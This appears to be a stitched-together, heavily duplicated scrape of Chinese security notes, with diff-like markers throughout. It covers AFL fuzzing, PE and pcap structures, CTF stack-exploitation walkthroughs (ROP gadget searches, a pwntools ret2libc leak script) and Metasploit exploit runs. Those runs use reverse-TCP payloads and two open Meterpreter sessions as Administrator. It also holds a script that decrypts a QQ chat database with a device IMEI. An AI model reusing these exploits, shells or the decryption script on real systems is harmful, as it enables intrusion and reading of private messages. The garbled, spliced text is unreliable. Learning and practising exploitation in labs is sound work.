struct pcap_file_header { bpf_u_int32 magic; u_short version_major; u_short version_minor; bpf_int32 thiszone; /* gmt to local correction */ bpf_u_int32 sigfigs; /* accuracy of timestamps */ bpf_u_int32 snaplen; /* max length saved portion of each pkt */ bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */ };
struct pcap_file_header { bpf_u_int32 magic; u_short version_major; u_short version_minor; bpf_int32 thiszone; /* gmt to local correction */ bpf_u_int32 sigfigs; /* accuracy of timestamps */ bpf_u_int32 snaplen; /* max length saved portion of each pkt */ bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */ };
1. do { 2. status = pcap_loop(pd, cnt, callback, pcap_userdata); 3. if (WFileName == NULL) { 4./* 5. * We're printing packets. Flush the printed output, 6. * so it doesn't get intermingled with error output. 7. */ 8. if (status == -2) { 9./* 10. * We got interrupted, so perhaps we didn't 11. * manage to finish a line we were printing. 12. * Print an extra newline, just in case. 13. */ 14. putchar('n'); 15. } 16. (void)fflush(stdout); 17. }
1. do { 2. status = pcap_loop(pd, cnt, callback, pcap_userdata); 3. if (WFileName == NULL) { 4. /* 5. * We're printing packets. Flush the printed output, 6. * so it doesn't get intermingled with error output. 7. */ 8. if (status == -2) { 9. /* 10. * We got interrupted, so perhaps we didn't 11. * manage to finish a line we were printing. 12. * Print an extra newline, just in case. 13. */ 14. putchar('n'); 15. } 16. (void)fflush(stdout); 17. }
IMEI = '867179032952446' conn = sqlite3.connect('2685371834.db') c = conn.cursor()
def_decrypt(foo): substr = '' #print(len(foo)) for i in range(0,len(foo)): substr += chr(ord(foo[i]) ^ ord(IMEI[i%15])) return substr
#rem = c.execute("SELECT uin, remark, name FROM Friends") Msg = c.execute("SELECT msgData, senderuin, time FROM mr_friend_0FC9764CD248C8100C82A089152FB98B_New")
for msg in Msg: uid = _decrypt(msg[1]) print("\n"+uid+":") try: msgData = _decrypt(msg[0]).decode('utf-8') print(msgData) except: pass
IMEI = '867179032952446' conn = sqlite3.connect('2685371834.db') c = conn.cursor()
def _decrypt(foo): substr = '' #print(len(foo)) for i in range(0,len(foo)): substr += chr(ord(foo[i]) ^ ord(IMEI[i%15])) return substr
#rem = c.execute("SELECT uin, remark, name FROM Friends") Msg = c.execute("SELECT msgData, senderuin, time FROM mr_friend_0FC9764CD248C8100C82A089152FB98B_New")
for msg in Msg: uid = _decrypt(msg[1]) print("\n"+uid+":") try: msgData = _decrypt(msg[0]).decode('utf-8') print(msgData) except: pass
import itchat from datetime import datetime import time import re import threading from itchat.content import TEXT from itchat.content import * from apscheduler.schedulers.blocking import BlockingScheduler
@itchat.msg_register([TEXT], isFriendChat=True, isGroupChat=True, isMpChat=True) defgetContent(msg): global g_msg groups = itchat.get_chatrooms(update = True) for g in groups: #print(g['NickName']) if g['NickName'] == '被转发的群名': from_group = g['UserName'] if'每日安全简讯'in msg['Content']: print("get message from " + msg['FromUserName']) if msg['FromUserName'] == from_group: g_msg = msg['Content'] print('成功获得群消息,等待转发') print(int(time.strftime("%H%M%S"))) while(1): if int(time.strftime("%H%M%S")) > 80000: SendMessage(g_msg,'发送的对象群名') g_msg = '' break
import itchat from datetime import datetime import time import re import threading from itchat.content import TEXT from itchat.content import * from apscheduler.schedulers.blocking import BlockingScheduler
@itchat.msg_register([TEXT], isFriendChat=True, isGroupChat=True, isMpChat=True) def getContent(msg): global g_msg groups = itchat.get_chatrooms(update = True) for g in groups: #print(g['NickName']) if g['NickName'] == '被转发的群名': from_group = g['UserName'] if '每日安全简讯' in msg['Content']: print("get message from " + msg['FromUserName']) if msg['FromUserName'] == from_group: g_msg = msg['Content'] print('成功获得群消息,等待转发') print(int(time.strftime("%H%M%S"))) while(1): if int(time.strftime("%H%M%S")) > 80000: SendMessage(g_msg,'发送的对象群名') g_msg = '' break
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.31.1 yes The target address range or CIDR identifier RPORT 445 yes The SMB service port (TCP) SMB_FOLDER no The directory to use within the writeable SMB share SMB_SHARE_NAME no The name of the SMB share containing a writeable directory
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.216.129 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 7 Linux MIPSLE
-
执行攻击
1 2 3 4 5 6 7 8 9 10 11 12
exploit
[*] Started reverse TCP handler on 192.168.216.129:4444 [*]192.168.31.1:445 - Using location \\192.168.31.1\data\ for the path [*]192.168.31.1:445 - Retrieving the remote path of the share 'data' [*]192.168.31.1:445 - Share 'data' has server-side path '/tmp [*]192.168.31.1:445 - Uploaded payload to \\192.168.31.1\data\KcQiOcbk.so [*]192.168.31.1:445 - Loading the payload from server-side path /tmp/KcQiOcbk.so using \\PIPE\/tmp/KcQiOcbk.so... [-]192.168.31.1:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND [*]192.168.31.1:445 - Loading the payload from server-side path /tmp/KcQiOcbk.so using /tmp/KcQiOcbk.so... [-]192.168.31.1:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND [*] Exploit completed, but no session was created.
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS 192.168.31.1 yes The target address range or CIDR identifier RPORT 445 yes The SMB service port (TCP) SMB_FOLDER no The directory to use within the writeable SMB share SMB_SHARE_NAME no The name of the SMB share containing a writeable directory
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.216.129 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 7 Linux MIPSLE
+
执行攻击
1 2 3 4 5 6 7 8 9 10 11 12
exploit
[*] Started reverse TCP handler on 192.168.216.129:4444 [*] 192.168.31.1:445 - Using location \\192.168.31.1\data\ for the path [*] 192.168.31.1:445 - Retrieving the remote path of the share 'data' [*] 192.168.31.1:445 - Share 'data' has server-side path '/tmp [*] 192.168.31.1:445 - Uploaded payload to \\192.168.31.1\data\KcQiOcbk.so [*] 192.168.31.1:445 - Loading the payload from server-side path /tmp/KcQiOcbk.so using \\PIPE\/tmp/KcQiOcbk.so... [-] 192.168.31.1:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND [*] 192.168.31.1:445 - Loading the payload from server-side path /tmp/KcQiOcbk.so using /tmp/KcQiOcbk.so... [-] 192.168.31.1:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND [*] Exploit completed, but no session was created.
typedef struct_IMAGE_IMPORT_DESCRIPTOR { union { DWORD Characteristics; //0for terminating null import descriptor DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) }; DWORD TimeDateStamp; //0if not bound, // -1 if bound, and real datetime stamp // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) // O.W. date/time stamp of DLL bound to (Old BIND)
DWORD ForwarderChain; // -1if no forwarders DWORD Name; DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses) } IMAGE_IMPORT_DESCRIPTOR;
+
1 2 3 4 5 6 7 8 9 10 11 12 13 14
typedef struct _IMAGE_IMPORT_DESCRIPTOR { union { DWORD Characteristics; // 0 for terminating null import descriptor DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) }; DWORD TimeDateStamp; // 0 if not bound, // -1 if bound, and real datetime stamp // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) // O.W. date/time stamp of DLL bound to (Old BIND)
DWORD ForwarderChain; // -1 if no forwarders DWORD Name; DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses) } IMAGE_IMPORT_DESCRIPTOR;
PEiD计算熵值的方法: 1.重新组织需要计算的数据 i.以下数据不列入计算熵的范围:导出表数据、导入表数据、资源数据、重定向数据。 ii. 尾部全0的数据不列入计算熵的范围。 iii. PE头不列入计算熵的范围。 2.分别计算每一部分数据的熵E和该部分数据大小S。 3.以下列公式得到整个PE文件的熵 Entropy = ∑Ei * Si / ∑Si (i = 1,2…n)。
American Fuzzy Lop 不关注任何单一的操作规则(singular principle of operation),也不是一个针对任何特定理论的概念验证(proof of concept)。这个工具可以被认为是一系列在实践中测试过的hacks行为,我们发现这个工具惊人的有效。我们用目前最simple且最robust的方法实现了这个工具。 唯一的设计宗旨在于速度、可靠性和易用性。
1)覆盖率计算(Coverage measurements)
在编译过的程序中插桩能够捕获分支(边缘)的覆盖率,并且还能检测到粗略的分支执行命中次数(branch-taken hit counts)。在分支点注入的代码大致如下:
- The crash trace includes a tuplenot seen inanyof the previous crashes,这个crash的路径包括一个之前crash从未见到过的tuple。 - The crash trace is missing a tuple that was always present in earlier faults.这个crash的路径不包含一个总在之前crash中出现的tuple。
+
afl-fuzz的解决方案认为满足一下两个条件,那么这个crash就是唯一的(unique):
1 2
- The crash trace includes a tuple not seen in any of the previous crashes,这个crash的路径包括一个之前crash从未见到过的tuple。 - The crash trace is missing a tuple that was always present in earlier faults.这个crash的路径不包含一个总在之前crash中出现的tuple。
> wget http://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz > tar -zxvf afl-latest.tgz >cd afl-2.52b/ > make > sudo make install >
+
1 2 3 4 5 6
> wget http://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz > tar -zxvf afl-latest.tgz > cd afl-2.52b/ > make > sudo make install >
部署qemu
-
1 2 3 4 5 6 7 8
> $ CPU_TARGET=x86_64 ./build_qemu_support.sh > [+] Build process successful! > [*] Copying binary... > -rwxr-xr-x 1 han han 10972920 7月 9 10:43 ../afl-qemu-trace > [+] Successfully created '../afl-qemu-trace'. > [!] Note: can't test instrumentation when CPU_TARGET set. > [+] All set, you can now (hopefully) use the -Q mode in afl-fuzz! >
+
1 2 3 4 5 6 7 8
> $ CPU_TARGET=x86_64 ./build_qemu_support.sh > [+] Build process successful! > [*] Copying binary... > -rwxr-xr-x 1 han han 10972920 7月 9 10:43 ../afl-qemu-trace > [+] Successfully created '../afl-qemu-trace'. > [!] Note: can't test instrumentation when CPU_TARGET set. > [+] All set, you can now (hopefully) use the -Q mode in afl-fuzz! >
$ ./afl-fuzz -i ../vuln/testcase/ -o ../vuln/out/ ../vuln/v1-afl afl-fuzz 2.52b by <lcamtuf@google.com> [+] You have 2 CPU cores and2 runnable tasks (utilization: 100%). [*] Checking CPU core loadout... [+] Found a free CPU core, binding to#0. [*] Checking core_pattern...
[-] Hmm, your system is configured to send core dump notifications to an external utility. This will cause issues: there will be an extended delay between stumbling upon a crash and having this information relayed tothe fuzzer via the standard waitpid() API.
To avoid having crashes misinterpreted as timeouts, please loginas root and temporarily modify /proc/sys/kernel/core_pattern, like so:
$ ./afl-fuzz -i ../vuln/testcase/ -o ../vuln/out/ ../vuln/v1-afl afl-fuzz 2.52b by <lcamtuf@google.com> [+] You have 2 CPU cores and 2 runnable tasks (utilization: 100%). [*] Checking CPU core loadout... [+] Found a free CPU core, binding to #0. [*] Checking core_pattern...
[-] Hmm, your system is configured to send core dump notifications to an external utility. This will cause issues: there will be an extended delay between stumbling upon a crash and having this information relayed to the fuzzer via the standard waitpid() API.
To avoid having crashes misinterpreted as timeouts, please log in as root and temporarily modify /proc/sys/kernel/core_pattern, like so:
echo core >/proc/sys/kernel/core_pattern
[-] PROGRAM ABORT : Pipe at the beginning of 'core_pattern' Location : check_crash_handling(), afl-fuzz.c:7275
afl-fuzz 2.52b by <lcamtuf@google.com> [+] You have 2 CPU cores and2 runnable tasks (utilization: 100%). [*] Checking CPU core loadout... [+] Found a free CPU core, binding to #0. [*] Checking core_pattern... [*] Setting up output directories... [+] Output directory exists but deemed OK to reuse. [*] Deleting old session data... [+] Output dir cleanup successful. [*] Scanning '../vuln/testcase/'... [+] No auto-generated dictionary tokens to reuse. [*] Creating hard links forall input files... [*] Validating target binary... [*] Attempting dry run with'id:000000,orig:1'... [*] Spinning up the fork server... [+] All right - fork server is up. len = 3, map size = 1, exec speed = 295 us [*] Attempting dry run with'id:000001,orig:2'... len = 23, map size = 1, exec speed = 125 us [!] WARNING: No new instrumentation output, test case may be useless. [+] All test cases processed.
[!] WARNING: Some test cases look useless. Consider using a smaller set. [+] Here are some useful stats:
Test case count : 1 favored, 0variable, 2 total Bitmap range : 1to1 bits (average: 1.00 bits) Exec timing : 125to295 us (average: 210 us)
[*] No -t option specified, so I'lluse exec timeout of20 ms. [+] All set and ready to roll!
+
对于从文件中获取输入的程序,使用“@@”标记目标命令行中应放置输入文件名的位置。模糊器将替换为您:
1
$ ./afl-fuzz -i testcase_dir -o findings_dir / path / to / program @@
afl-fuzz 2.52b by <lcamtuf@google.com> [+] You have 2 CPU cores and 2 runnable tasks (utilization: 100%). [*] Checking CPU core loadout... [+] Found a free CPU core, binding to #0. [*] Checking core_pattern... [*] Setting up output directories... [+] Output directory exists but deemed OK to reuse. [*] Deleting old session data... [+] Output dir cleanup successful. [*] Scanning '../vuln/testcase/'... [+] No auto-generated dictionary tokens to reuse. [*] Creating hard links for all input files... [*] Validating target binary... [*] Attempting dry run with 'id:000000,orig:1'... [*] Spinning up the fork server... [+] All right - fork server is up. len = 3, map size = 1, exec speed = 295 us [*] Attempting dry run with 'id:000001,orig:2'... len = 23, map size = 1, exec speed = 125 us [!] WARNING: No new instrumentation output, test case may be useless. [+] All test cases processed.
[!] WARNING: Some test cases look useless. Consider using a smaller set. [+] Here are some useful stats:
Test case count : 1 favored, 0 variable, 2 total Bitmap range : 1 to 1 bits (average: 1.00 bits) Exec timing : 125 to 295 us (average: 210 us)
[*] No -t option specified, so I'll use exec timeout of 20 ms. [+] All set and ready to roll!
由上面AFL状态窗口: ① Process timing:Fuzzer运行时长、以及距离最近发现的路径、崩溃和挂起(超时)经过了多长时间。 已经运行4m19s,距离上一个最新路径已经过去2min27s,距离上一个独特崩溃已经过去4min19s(可见找到崩溃的速度非常快),距离上一次挂起已经过去2m12s。
② Overall results:Fuzzer当前状态的概述。
③ Cycle progress:我们输入队列的距离。队列一共有3个用例,现在是第二个,66.67%
++++++ BEGIN - first exec output for CMD: cat ./out//queue/id:000000,orig:1 | ./v1-cov ./out//queue/id:000000,orig:1 Hello, World ++++++ END
[+] AFL test case: id:000001,orig:2 (1 / 2), cycle: 0 lines......: 100.0% (6of6 lines) functions..: 100.0% (2of2 functions) branches...: no data found [+] Processed 2 / 2 test cases.
[+] Final zero coverage report: ./out//cov/zero-cov [+] Final positive coverage report: ./out//cov/pos-cov lines......: 100.0% (6of6 lines) functions..: 100.0% (2of2 functions) branches...: no data found [+] Final lcov web report: ./out//cov/web/index.html
Non-zero exit status '1' for CMD: /usr/bin/readelf -a cat
*** Imported 2 new test cases from: ./out//queue
[+] AFL test case: id:000000,orig:1 (0 / 2), cycle: 0 lines......: 100.0% (6 of 6 lines) functions..: 100.0% (2 of 2 functions) branches...: no data found
Coverage diff (init) id:000000,orig:1 diff (init) -> id:000000,orig:1 New src file: /home/han/ck/vuln/v1.c New 'function' coverage: main() New 'function' coverage: vulnerable_function() New 'line' coverage: 11 New 'line' coverage: 12 New 'line' coverage: 13 New 'line' coverage: 6 New 'line' coverage: 8 New 'line' coverage: 9
++++++ BEGIN - first exec output for CMD: cat ./out//queue/id:000000,orig:1 | ./v1-cov ./out//queue/id:000000,orig:1 Hello, World ++++++ END
[+] AFL test case: id:000001,orig:2 (1 / 2), cycle: 0 lines......: 100.0% (6 of 6 lines) functions..: 100.0% (2 of 2 functions) branches...: no data found [+] Processed 2 / 2 test cases.
[+] Final zero coverage report: ./out//cov/zero-cov [+] Final positive coverage report: ./out//cov/pos-cov lines......: 100.0% (6 of 6 lines) functions..: 100.0% (2 of 2 functions) branches...: no data found [+] Final lcov web report: ./out//cov/web/index.html
$ gcc -m32 -no-pie -fno-stack-protector -z execstack stack1.c -o stack1 stack1.c: In function ‘vulnerable’: stack1.c:6:3: warning: implicit declaration of function ‘gets’; did you mean ‘fgets’? [-Wimplicit-function-declaration] gets(s); ^~~~ fgets /tmp/ccUuPrSy.o: In function `vulnerable': stack1.c:(.text+0x45): warning: the `gets' function is dangerous and should not be used.
$ python stack1.py [+] Starting local process './stack1': pid 8328 (134513750, 'V\x84\x04\x08') [*] Switching to interactive mode AAAAAAAAAAAAAAAAAAAAAAAAV\x84\x0 You Hava already controlled it. [*] Got EOF while reading in interactive $
$ checksec ret2shellcode [*] '/home/han/ck/pwn/linux/re2shellcode/ret2shellcode' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
$ cat /proc/sys/kernel/randomize_va_space 0
+
可以看出源程序几乎没有开启任何保护,并且有可读,可写,可执行段。
+
查看危险函数
1 2 3 4 5 6 7 8 9 10 11 12
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No system for you this time !!!"); gets((char *)&v4); strncpy(buf2, (const char *)&v4, 0x64u); printf("bye bye ~"); return 0; }
+
可以看到,漏洞函数依然还是gets,不过这次还把v4复制到了buf2处。
1 2
.bss:0804A080 public buf2 .bss:0804A080 ; char buf2[100]
$ checksec ret2text [*] '/home/han/ck/pwn/linux/ret2text/ret2text' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
+
开启了DEP,问题不大,因为执行的已有的代码
+
检查危险函数
1 2 3 4 5 6 7 8 9 10 11
int __cdecl main(int argc, constchar **argv, constchar **envp) { int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("There is something amazing here, do you know anything?"); gets((char *)&v4); printf("Maybe I will tell you next time !"); return0; }
那么我们如何去控制这4个寄存器的值,我们现在修改的只有栈中的数据,这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ropgadgets 这个工具。 首先,我们来寻找控制 eax 的 gadgets
1 2 3 4 5 6
$ ROPgadget --binary ret2syscall --only 'pop|ret'|grep eax 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x080bb196 : pop eax ; ret 0x0807217a : pop eax ; ret 0x80e 0x0804f704 : pop eax ; ret 3 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
$ ROPgadget --binary ret2syscall --only 'pop|ret'|grep ebx 0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret 0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret 0x080be23f : pop ebx ; pop edi ; ret 0x0806eb69 : pop ebx ; pop edx ; ret 0x08092258 : pop ebx ; pop esi ; pop ebp ; ret 0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10 0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14 0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc 0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4 0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8 0x08048913 : pop ebx ; pop esi ; pop edi ; ret 0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4 0x08049a94 : pop ebx ; pop esi ; ret 0x080481c9 : pop ebx ; ret 0x080d7d3c : pop ebx ; ret 0x6f9 0x08099c87 : pop ebx ; ret 8 0x0806eb91 : pop ecx ; pop ebx ; ret 0x0806336b : pop edi ; pop esi ; pop ebx ; ret 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret 0x0805c820 : pop esi ; pop ebx ; ret 0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0807b6ed : pop ss ; pop ebx ; ret
+
现在,我们就得到了可以控制4个寄存器的地址: 0x080bb196 : pop eax ; ret 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
+
另外,我们要向ebx写入’/bin/sh’,同时执行int 80 所以要搜索,看看程序中有没有
1 2 3 4 5 6 7 8 9
$ ROPgadget --binary ret2syscall --only int Gadgets information ============================================================ 0x08049421 : int 0x80 0x080938fe : int 0xbb 0x080869b5 : int 0xf6 0x0807b4d4 : int 0xfc
Breakpoint 1, main () at ret2libcGOT.c:20 20 ret2libcGOT.c: No such file or directory. gdb-peda$ print system $1 = {<text variable, no debug info>} 0xf7e19d10 <system> gdb-peda$ print __libc_start_main $2 = {<text variable, no debug info>} 0xf7df5d90 <__libc_start_main> gdb-peda$ find 0xf7df5d90,+2200000,"/bin/sh" Searching for '0xf7df5d90,+2200000,/bin/sh' in: None ranges Search for a pattern in memory; support regex search Usage: searchmem pattern start end searchmem pattern mapname
gdb-peda$ find "/bin/sh" Searching for '/bin/sh' in: None ranges Found 1 results, display max 1 items: libc : 0xf7f588cf ("/bin/sh")
from pwn import * from LibcSearcher import LibcSearcher
p = process('./ret2libc3') elf = ELF('./ret2libc3') libc = ELF('./libc.so')
puts_plt = elf.plt['puts'] libc_start_main_got =elf.got['__libc_start_main'] main = elf.symbols['main']
print("leak libc_start_main_got addr and return to main again") payload = flat(['a'*112],puts_plt,main,libc_start_main_got) p.sendlineafter('Can you find it !?',payload)
defleak(address): global i count = 0 content = '' x = p.recvuntil('!?') payload1 = '\x90'*112 + p32(plt_puts) + p32(main) + p32(address) p.sendline(payload1) up = "" whileTrue: c = p.recv(1) count += 1 if up == '\n'and c == 'N': print((content).encode('hex')) content =content[:-1]+'\x00' break else: content += c up = c content = content[:4]
# content = p.recvuntil('\nN',True) # print(content) # if not content: # content = '\x00' # else: # content = content[:4]
msf5 > use exploit/windows/yanhan/seh_attack msf5 exploit(windows/yanhan/seh_attack) > set rhosts 192.168.31.114 rhosts => 192.168.31.114 msf5 exploit(windows/yanhan/seh_attack) > set rport 80 rport => 80 msf5 exploit(windows/yanhan/seh_attack) > exploit
[*] Started reverse TCP handler on 192.168.31.84:4444 [*] Exploit completed, but no session was created. msf5 exploit(windows/yanhan/seh_attack) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf5 exploit(windows/yanhan/seh_attack) > exploit
[*] Started bind TCP handler against 192.168.31.114:4444 [*] Sending stage (179779 bytes) to 192.168.31.114 [*] Meterpreter session 1 opened (192.168.31.84:46601 -> 192.168.31.114:4444) at 2019-07-10 16:43:47 +0800
meterpreter > getuid Server username: WHU-3E3EECEBFD1\Administrator
msf5 > use exploit/windows/yanhan/rop_attack msf5 exploit(windows/yanhan/rop_attack) > set rhosts 192.168.31.114 rhosts => 192.168.31.114 msf5 exploit(windows/yanhan/rop_attack) > set rport 1000 rport => 1000 msf5 exploit(windows/yanhan/rop_attack) > exploit
[*] Started reverse TCP handler on 192.168.31.84:4444 [*] Exploit completed, but no session was created. msf5 exploit(windows/yanhan/rop_attack) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf5 exploit(windows/yanhan/rop_attack) > exploit
[*] Started bind TCP handler against 192.168.31.114:4444 [*] Exploit completed, but no session was created. msf5 exploit(windows/yanhan/rop_attack) > exploit
[*] Started bind TCP handler against 192.168.31.114:4444 [*] Sending stage (179779 bytes) to 192.168.31.114 [*] Meterpreter session 1 opened (192.168.31.84:44537 -> 192.168.31.114:4444) at 2019-07-10 16:51:07 +0800
meterpreter > getuid Server username: WHU-3E3EECEBFD1\Administrator
> wget http://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz > tar -zxvf afl-latest.tgz >cd afl-2.52b/ > make > sudo make install >
部署qemu
1 2 3 4 5 6 7 8
> $ CPU_TARGET=x86_64 ./build_qemu_support.sh > [+] Build process successful! > [*] Copying binary... > -rwxr-xr-x 1 han han 10972920 7月 9 10:43 ../afl-qemu-trace > [+] Successfully created '../afl-qemu-trace'. > [!] Note: can't test instrumentation when CPU_TARGET set. > [+] All set, you can now (hopefully) use the -Q mode in afl-fuzz! >
$ ./afl-fuzz -i ../vuln/testcase/ -o ../vuln/out/ ../vuln/v1-afl afl-fuzz 2.52b by <lcamtuf@google.com> [+] You have 2 CPU cores and2 runnable tasks (utilization: 100%). [*] Checking CPU core loadout... [+] Found a free CPU core, binding to#0. [*] Checking core_pattern...
[-] Hmm, your system is configured to send core dump notifications to an external utility. This will cause issues: there will be an extended delay between stumbling upon a crash and having this information relayed tothe fuzzer via the standard waitpid() API.
To avoid having crashes misinterpreted as timeouts, please loginas root and temporarily modify /proc/sys/kernel/core_pattern, like so:
afl-fuzz 2.52b by <lcamtuf@google.com> [+] You have 2 CPU cores and2 runnable tasks (utilization: 100%). [*] Checking CPU core loadout... [+] Found a free CPU core, binding to #0. [*] Checking core_pattern... [*] Setting up output directories... [+] Output directory exists but deemed OK to reuse. [*] Deleting old session data... [+] Output dir cleanup successful. [*] Scanning '../vuln/testcase/'... [+] No auto-generated dictionary tokens to reuse. [*] Creating hard links forall input files... [*] Validating target binary... [*] Attempting dry run with'id:000000,orig:1'... [*] Spinning up the fork server... [+] All right - fork server is up. len = 3, map size = 1, exec speed = 295 us [*] Attempting dry run with'id:000001,orig:2'... len = 23, map size = 1, exec speed = 125 us [!] WARNING: No new instrumentation output, test case may be useless. [+] All test cases processed.
[!] WARNING: Some test cases look useless. Consider using a smaller set. [+] Here are some useful stats:
Test case count : 1 favored, 0variable, 2 total Bitmap range : 1to1 bits (average: 1.00 bits) Exec timing : 125to295 us (average: 210 us)
[*] No -t option specified, so I'lluse exec timeout of20 ms. [+] All set and ready to roll!
由上面AFL状态窗口: ① Process timing:Fuzzer运行时长、以及距离最近发现的路径、崩溃和挂起(超时)经过了多长时间。 已经运行4m19s,距离上一个最新路径已经过去2min27s,距离上一个独特崩溃已经过去4min19s(可见找到崩溃的速度非常快),距离上一次挂起已经过去2m12s。
② Overall results:Fuzzer当前状态的概述。
③ Cycle progress:我们输入队列的距离。队列一共有3个用例,现在是第二个,66.67%
++++++ BEGIN - first exec output for CMD: cat ./out//queue/id:000000,orig:1 | ./v1-cov ./out//queue/id:000000,orig:1 Hello, World ++++++ END
[+] AFL test case: id:000001,orig:2 (1 / 2), cycle: 0 lines......: 100.0% (6of6 lines) functions..: 100.0% (2of2 functions) branches...: no data found [+] Processed 2 / 2 test cases.
[+] Final zero coverage report: ./out//cov/zero-cov [+] Final positive coverage report: ./out//cov/pos-cov lines......: 100.0% (6of6 lines) functions..: 100.0% (2of2 functions) branches...: no data found [+] Final lcov web report: ./out//cov/web/index.html
American Fuzzy Lop 不关注任何单一的操作规则(singular principle of operation),也不是一个针对任何特定理论的概念验证(proof of concept)。这个工具可以被认为是一系列在实践中测试过的hacks行为,我们发现这个工具惊人的有效。我们用目前最simple且最robust的方法实现了这个工具。 唯一的设计宗旨在于速度、可靠性和易用性。
1)覆盖率计算(Coverage measurements)
在编译过的程序中插桩能够捕获分支(边缘)的覆盖率,并且还能检测到粗略的分支执行命中次数(branch-taken hit counts)。在分支点注入的代码大致如下:
这种过程下产生的语料库基本上是这些输入文件的集合:它们都能触发一些新的执行路径。产生的语料库,可以被用来作为其他测试的种子。 使用这种方法,大多数目标程序的队列会增加到大概1k到10k个entry。大约有10-30%归功于对新tupe的发现,剩下的和hit counts改变有关。 下表比较了不同 fuzzing 方法在发现文件句法(file syntax)和探索程序执行路径的能力。插桩的目标程序是 GNU patch 2.7.3 compiled with -O3 and seeded with a dummy text file:
- The crash trace includes a tuplenot seen inanyof the previous crashes,这个crash的路径包括一个之前crash从未见到过的tuple。 - The crash trace is missing a tuple that was always present in earlier faults.这个crash的路径不包含一个总在之前crash中出现的tuple。
PEiD计算熵值的方法: 1.重新组织需要计算的数据 i.以下数据不列入计算熵的范围:导出表数据、导入表数据、资源数据、重定向数据。 ii. 尾部全0的数据不列入计算熵的范围。 iii. PE头不列入计算熵的范围。 2.分别计算每一部分数据的熵E和该部分数据大小S。 3.以下列公式得到整个PE文件的熵 Entropy = ∑Ei * Si / ∑Si (i = 1,2…n)。
typedef struct_IMAGE_IMPORT_DESCRIPTOR { union { DWORD Characteristics; //0for terminating null import descriptor DWORD OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) }; DWORD TimeDateStamp; //0if not bound, // -1 if bound, and real datetime stamp // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) // O.W. date/time stamp of DLL bound to (Old BIND)
DWORD ForwarderChain; // -1if no forwarders DWORD Name; DWORD FirstThunk; // RVA to IAT (if bound this IAT has actual addresses) } IMAGE_IMPORT_DESCRIPTOR;
UPnP和NAT-PMP用于改善NAT路由器后面的设备的互联网连接。 诸如游戏,IM等的任何对等网络应用可受益于支持UPnP和/或NAT-PMP的NAT路由器。最新一代的Microsoft XBOX 360和Sony Playstation 3游戏机使用UPnP命令来启用XBOX Live服务和Playstation Network的在线游戏。 据报道,MiniUPnPd正在与两个控制台正常工作。 它可能需要一个精细的配置调整。
给定一个IP地址(通过DHCP获得),UPnP网络中的第一步是发现。 当一个设备被加入到网络中并想知道网络上可用的UPnP服务时,UPnP检测协议允许该设备向控制点广播自己的服务。通过UDP协议向端口1900上的多播地址239.255.255.250发送发现消息。此消息包含标头,类似于HTTP请求。此协议有时称为HTTPU(HTTP over UDP):
